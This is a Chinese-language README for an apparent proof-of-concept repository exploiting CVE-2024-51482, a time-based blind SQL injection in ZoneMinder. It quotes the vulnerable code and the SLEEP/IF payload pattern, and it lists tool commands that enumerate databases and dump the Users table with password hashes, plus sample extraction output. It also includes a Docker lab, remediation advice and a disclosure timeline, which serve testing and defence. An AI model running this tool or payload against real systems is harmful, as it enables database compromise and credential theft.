0xDaeras/CVE-2024-51482-POC

GitHub: 0xDaeras/CVE-2024-51482-POC

针对 ZoneMinder CVE-2024-51482 时间盲注 SQL 注入漏洞的 PoC 利用工具,附带可复现的 Docker 实验环境和自动化数据提取功能。

Stars: 5 | Forks: 0

# ZoneMinder 认证后时间盲注 SQLi PoC - CVE-2024-51482 ![CVE-1](https://img.shields.io/badge/CVE-2024--51482-red?style=flat-square) ![CVSS](https://img.shields.io/badge/CVSS%20v3.1-10.0%20Critical-critical?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=flat-square) ## 目录 - [ZoneMinder 认证后时间盲注 SQLi PoC - CVE-2024-51482](#zoneminder-authenticated-time-based-sqli-poc---cve-2024-51482) - [目录](#table-of-contents) - [概述](#overview) - [漏洞详情](#vulnerability-details) - [CVE-2024-51482 — 基于时间的盲注 SQL Injection](#cve-2024-51482--time-based-blind-sql-injection) - [根本原因](#root-cause) - [攻击流程](#attack-flow) - [仓库结构](#repository-structure) - [系统要求](#requirements) - [安装说明](#installation) - [PoC](#poc) - [Docker 实验环境](#docker-lab) - [用法](#usage) - [默认行为](#default-behavior) - [帮助界面](#help-screen) - [命令](#commands) - [输出选项](#output-options) - [标志参考](#flags-reference) - [完整示例](#full-example) - [注意事项](#notes) - [Docker 实验环境](#docker-lab-1) - [输出示例](#example-output) - [修复方案](#remediation) - [针对此 CVE 的修复](#against-this-cve) - [针对类似漏洞的修复](#against-similar-vulnerabilities) - [披露时间线](#disclosure-timeline) - [参考](#references) ## 概述 本仓库包含一个针对 ZoneMinder 的基于时间的 SQL 注入 PoC。 该工具支持: - 漏洞验证 - 数据库枚举 - 表和列发现 - 完整数据表导出 - 导出为 CSV 它还包含一个完全可复现的 Docker 实验环境,用于安全测试。 ## 漏洞详情 ### CVE-2024-51482 — 基于时间的盲注 SQL Injection - **CVE ID**: CVE-2024-51482 - **CVSS v3.1 评分**: 10.0 (严重) - **漏洞类型**: 基于时间的盲注 SQL Injection - **受影响版本**: ZoneMinder v1.37.* <= 1.37.64 - **攻击向量**: 认证后端点 - **影响**: 数据库完全泄露,数据完整性受损 - **需要认证**: 是 (低权限用户即可) ### 根本原因 ZoneMinder 是一款免费、开源的闭路电视软件应用。该漏洞源于 ZoneMinder 的 `removetag` 端点中存在输入验证不足的问题。用户提供的输入被直接合并到 SQL 查询中,没有经过适当的清理或参数化,从而允许攻击者注入恶意的基于布尔的 SQL 载荷。该漏洞利用: ``` SLEEP(x - IF(condition, 0, x)) ``` 通过响应时间来推断数据。 来自 [Github 维护者安全通告](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3) 的完整漏洞代码片段: ``` case 'removetag' : $tagId = $_REQUEST['tid']; dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id'])); $sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; $rowCount = dbNumRows($sql); if ($rowCount < 1) { $sql = 'DELETE FROM Tags WHERE Id = ?'; $values = array($_REQUEST['tid']); $response = dbNumRows($sql, $values); ajaxResponse(array('response'=>$response)); } ``` ### 攻击流程 ``` Attacker ZoneMinder Web App │ │ │ [Auth] │ │ POST /zm/index.php │ │ {username, password} │ │────────────────────────────────────────►│ │◄────────────────────────────────────────│ │ 200 OK + Set-Cookie: ZMSESSID=... │ ← authenticated session │ │ │ [CVE-2024-51482] │ │ GET /zm/index.php │ │ ?view=request&request=event │ │ &action=removetag&tid= │ │────────────────────────────────────────►│ │ SQL boolean query executed │ IF(condition, no delay, SLEEP) │◄────────────────────────────────────────│ │ Delayed response (timing oracle) │ ← condition inferred │ │ │ Repeat requests │ │ ASCII(SUBSTRING(query,pos,1)) │ │────────────────────────────────────────►│ │◄────────────────────────────────────────│ │ Timing differences reveal characters │ │ │ │ Binary search per character │ │────────────────────────────────────────►│ │◄────────────────────────────────────────│ │ Extracted data (1 char at a time) │ │ │ │ SELECT Username, Password FROM Users │ │────────────────────────────────────────►│ │◄────────────────────────────────────────│ │ Full database disclosure │ │ │ ✓ Complete data exfiltration via blind SQLi ``` ## 仓库结构 ``` CVE-2024-51482/ ├── exploit.py ├── README.md ├── requirements.txt ├── docker-compose.yml ├── .env.example ├── docker/ │ ├── Dockerfile │ └── entrypoint.sh └── logs/ ``` ## 系统要求 - Python 3.8+ - requests - Docker 和 docker-compose (用于实验环境) ## 安装说明 ### PoC ``` git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git cd CVE-2024-51482-POC pip install -r requirements.txt ``` ### Docker 实验环境 ``` git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git cd CVE-2024-51482-POC cp .env.example .env # Configure environment variables docker compose up -d ``` ## 用法 ### 默认行为 在未指定任何标志的情况下,该工具将对目标进行身份验证,检查其是否存在漏洞,如果存在漏洞,则从 `zm.Users` 表中导出 *ID*、*Username*、*Password*、*Name* 和 *Email* 列(`dump-users` 命令)。 ``` python exploit.py -t http://target/zm -u -p ``` ### 帮助界面 ``` python exploit.py -h ``` ### 命令 #### check 仅检查目标是否存在漏洞。 ``` python exploit.py -t http://target/zm -u -p check ``` #### dump-users 从 `zm.Users` 表中导出 *ID*、*Username*、*Password*、*Name* 和 *Email* 列。如果未指定命令,则默认执行此命令。 ``` python exploit.py -t http://target/zm -u -p dump-users ``` #### list-db 列出所有数据库。 ``` python exploit.py -t http://target/zm -u -p list-db ``` #### list-tables 列出指定数据库中的表。 ``` python exploit.py -t http://target/zm -u -p list-tables --db ``` #### list-columns 列出指定表中的列。 ``` python exploit.py -t http://target/zm -u -p list-columns --db --table ``` #### dump-table 导出指定表中的所有数据。 ``` python exploit.py -t http://target/zm -u -p dump-table --db --table
``` 您也可以指定要导出的列(默认为所有列): ``` python exploit.py -t http://target/zm -u -p dump-table --db --table
--columns col1,col2 ``` ### 输出选项 #### 禁用终端输出 ``` --no-display ``` #### 导出到 CSV 如果文件不存在,则会创建该文件。如果文件已存在,则会追加新结果。 ``` --outfile results.csv ``` ### 标志参考 #### 目标与认证 | 标志 | 描述 | 示例 | | ------------------ | -------------------------------------------------- | -------------------------- | | `-t`, `--target` | 目标基础 URL | `-t http://localhost:8080` | | `-u`, `--user` | 用于认证的用户名 | `-u admin` | | `-p`, `--password` | 用于认证的密码 | `-p admin` | | `--cookie` | 使用现有的 `ZMSESSID` cookie 代替登录 | `--cookie abc123...` | #### 核心命令 | 命令 | 描述 | 示例 | | -------------- | -------------------------------------------------- | ------------------------------------ | | `check` | 测试目标是否存在漏洞 (基于时间的盲注 SQLi) | `check` | | `dump-users` | 直接导出 `zm.Users` 表 | `dump-users` | | `list-db` | 列出所有数据库 | `list-db` | | `list-tables` | 列出数据库中的表 | `list-tables --db zm` | | `list-columns` | 列出表中的列 | `list-columns --db zm --table Users` | | `dump-table` | 导出特定表 | `dump-table --db zm --table Users` | #### 命令选项 | 标志 | 描述 | 必填 | 示例 | | ----------- | --------------------------------------- | ------------------------ | ----------------------------- | | `--db` | 数据库名称 | 是 (用于表/列操作) | `--db zm` | | `--table` | 表名 | 是 (用于列/导出操作) | `--table Users` | | `--columns` | 逗号分隔的要导出的列 | 可选 | `--columns Username,Password` | #### 性能与利用 | 标志 | 描述 | 默认值 | 示例 | | ------------ | -------------------------------------------- | ------- | -------------- | | `--threads` | 并发提取线程数 | `5` | `--threads 6` | | `--delay` | 用于基于时间的盲注 SQLi 的延迟 | `3` | `--delay 2` | | `--no-check` | 在利用前跳过漏洞检查 | `False` | `--no-check` | #### 输出选项 | 标志 | 描述 | 示例 | | -------------- | ------------------------- | ----------------------- | | `--outfile` | 将输出保存到 CSV 文件 | `--outfile results.csv` | | `--no-display` | 禁用终端输出 | `--no-display` | #### 日志与显示 | 标志 | 描述 | 默认值 | 示例 | | ----------------- | ---------------------- | ------------------ | -------------------- | | `-v`, `--verbose` | 启用调试日志 | `False` | `-v` | | `--log-file` | 日志文件路径 | `logs/exploit.log` | `--log-file out.log` | | `--no-color` | 禁用彩色输出 | `False` | `--no-color` | ### 完整示例 ``` python3 exploit.py \ -t http://localhost:8080 \ -u admin -p admin \ dump-table \ --db zm \ --table Users \ --columns Username,Password \ --threads 6 \ --delay 2 \ --outfile dump.csv ``` ### 注意事项 * 所有命令均需要身份验证 (cookie 或凭据)。 * `dump-users` 是导出 `zm.Users` 表的快捷方式。 * 多线程可以显著加快提取速度,但可能会增加目标负载。5 个线程和 3 秒延迟是安全的默认设置。请谨慎使用自定义值。 * CSV 输出同时支持结构化数据和平面数据 (例如数据库列表对比完整数据表导出)。 * 仅在您确定目标存在漏洞时才使用 `--no-check`。 ### Docker 实验环境 包含的 `docker-compose.yml` 会设置一个存在漏洞的 ZoneMinder 实例。 ``` cp .env.example .env # Configure environment variables docker compose up -d ``` 通过 `http://localhost:8080/` (或您的自定义端口) 访问 Web 界面。默认凭据为 `admin:admin`。然后您可以针对此本地实例运行漏洞利用进行测试。 ## 输出示例 ``` $ python3 exploit.py -t http://localhost:8080/ -u admin -p admin --outfile ./out.csv dump-table --db zm --table Users --columns Username,Password _________ ____ _______________ ________ _______ ________ _____ .________ ____ _____ ______ ________ \_ ___ \\ \ / /\_ _____/ \_____ \\ _ \ \_____ \ / | | | ____//_ | / | | / __ \ \_____ \ / \ \/ \ Y / | __)_ ______ / ____// /_\ \ / ____/ / | |_ ______|____ \ | | / | |_ > < / ____/ \ \____ \ / | \/_____// \\ \_/ \/ \ / ^ //_____// \ | |/ ^ // -- \/ \ \______ / \___/ /_______ / \_______ \\_____ /\_______ \\____ | /______ / |___|\____ | \______ /\_______ \ \/ \/ \/ \/ \/ |__| \/ |__| \/ \/ [∗] Target URL: http://localhost:8080/ [∗] Module : dump-table [∗] Output will be saved to: ./out.csv [∗] Attempting to log in with username/password authentication 🡲 Credentials: admin:admin [+] Successfully authenticated as user admin [∗] Testing target vulnerability... [+] Target appears to be vulnerable (response time indicates successful injection). [∗] Dumping contents of table zm.Users... [+] Found columns: Username, Password [∗] Retrieving number of rows in the table... [+] Table contains 2 rows. Starting dump... [∗] Progress: 5/5 | admin [∗] Progress: 60/60 | $2h$12$NHZs... [+] Retrieved row 1 : admin, $2h$12$NHZs... [∗] Progress: 4/4 | flag [∗] Progress: 60/60 | $2y$10$1Ei.... [+] Retrieved row 2 : flag, $2y$10$1Ei.... +----------+----------------+ | Username | Password | +----------+----------------+ | admin | $2h$12$NHZs... | | flag | $2y$10$1Ei.... | +----------+----------------+ [+] Results written to ./out.csv [+] Work done. Bye! ``` ## 修复方案 ### 针对此 CVE 的修复 - 更新至 ZoneMinder v1.37.65 或更高版本,其中包含针对 CVE-2024-51482 的修复。 ### 针对类似漏洞的修复 - 对所有用户提供的数据实施适当的输入验证和清理。 - 使用参数化查询或预处理语句来防止 SQL 注入。 ## 披露时间线 - **2024-10-31**: 用户 [Entropt](https://github.com/Entropt) 和用户 [connortechnology](https://github.com/connortechnology) 在 [ZoneMinder GitHub](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3) 上披露了该漏洞。 - **2024-11-01**: [补丁已提交](https://github.com/ZoneMinder/zoneminder/commit/9e7d31841ed9678a7dd06869037686fc9925e59f)至 ZoneMinder 仓库。 - **2025-02-13**: 版本 [1.37.65](https://github.com/ZoneMinder/zoneminder/releases/tag/1.37.65) 已标记。 ## 参考 - [CVE-2024-51482 详情](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-51482) - [NIST NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2024-51482) - [ZoneMinder 官方网站](https://zoneminder.com/) - [ZoneMinder GitHub 维护者安全通告](https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-qm8h-3xvf-m7j3) - [ZoneMinder GitHub 中的修复提交](https://github.com/ZoneMinder/zoneminder/commit/9e7d31841ed9678a7dd06869037686fc9925e59f) - [OWASP SQL 注入防御备忘单](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)
标签:CISA项目, CVE-2024-51482, CVSS 10.0, Docker, Maven, OPA, PoC, Python, Web安全, ZoneMinder, 安全测试, 安全防御评估, 攻击性安全, 数据库枚举, 无后门, 时间盲注, 暴力破解, 漏洞复现, 漏洞验证, 版权保护, 网络安全, 自动化数据提取, 蓝队分析, 表格导出, 请求拦截, 逆向工具, 隐私保护, 靶场